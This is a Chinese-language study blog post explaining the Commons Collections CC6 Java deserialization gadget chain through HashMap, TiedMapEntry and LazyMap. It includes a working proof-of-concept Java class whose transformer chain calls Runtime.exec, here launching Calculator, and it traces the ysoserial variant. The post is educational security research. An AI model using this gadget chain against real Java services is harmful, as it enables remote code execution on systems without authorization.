• Java cc6


     
    接着看一下 cc6 的这条链
     

    基础学习

     
    先看一下P神给的简单链
     

        Gadget chain:
            java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    

     
    可以看到还是 cc1 的套路,后半段调用的是 LazyMap.get() 方法,只有前半部分是新的链
     
    这里面找到了 org.apache.commons.collections.keyvalue.TiedMapEntry
     
    查看其 getValue 方法
     

     
    调用了 get方法,并且其 map 字段还是在初始化 TiedMapEntry 时候设置的
     

     
    我们完全可以将这个 map 变为我们的 lazyMap
     
    并且在其 Hashcode 方法中调用了 getValue 方法
     

     
    说起来 Hashcode 你是否想到了 URLDNS中的payload
     
    利用 HashMap 调用到其他类的 hashCode 方法
     
    cc6 里面就是利用的这种方法,就算是在 HashMap 中也有好几种方式可以调用到 hashCode,首先就是在 readObject
     

     
    在函数的尾部可以看见调用了本地的 hash 方法,而 hash 方法里面就会调用到 hashCode
     

     
    还有一种方式就是在 HashMapput 方法中也存在 hashCode 的调用
     

     
    这里面我们先用 第一种获取 hashCode 的方法进行测试,毕竟只要 readObject 就可以获取到 hashCode,另一种还需要找到另一个类来调用 put 方法
     
    编写POC(实际上分析完 DNSURL 和 CC1 这个就显得简单多了)
     

    package Study.cc6;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Demo1 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformer= new ChainedTransformer(transformers);
            Map inner = new HashMap();
            Map outer = LazyMap.decorate(inner,transformer);
            TiedMapEntry tme = new TiedMapEntry(outer,"JustForYou");
            
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
    
            //序列化
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(tme);
            oos.close();
    
            //反序列化
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
    

     

     
    调用链依次为
     

    HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()-> 后面就是 transform 的几条循环链了
    

     
    这个利用链可以在Java 7和8的高版本触发
     

    yso中的调用链

    /*
        Gadget chain:
            java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    
        by @matthias_kaiser
    */
    

     
    可以看到 yso 中使用的是 HashSet 中的 readObject
     

     
    结尾部分会调用到 put 方法
     
    这里面跳转到 HashMap 的的 put 方法
     

     
    接着在进入 hash 方法
     

     
    调用到 TiedMapEntryhashCode 方法
     

     
    之后再进入 getValue,最后在调用到 Lazymapget 方法,之后就是一系列设置好的调用链了,完成调用链
     

     
    yso的链长一点,但是基本思路是大差不差的

    总结

     
    相比cc1,cc6更简单一些,利用范围也更大一点
     
    贴一份利用图
     

  • 相关阅读:
    继承
    面向对象_封装练习
    ajax分页与组合查询配合使用
    Linq的分页与组合查询的配合使用
    发送邮件和数据导出
    GridView的使用
    母版页的使用
    DIV+CSS命名规范
    Ajax基础
    jQuery动画效果
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Java-cc6.html
Copyright © 2020-2023  润新知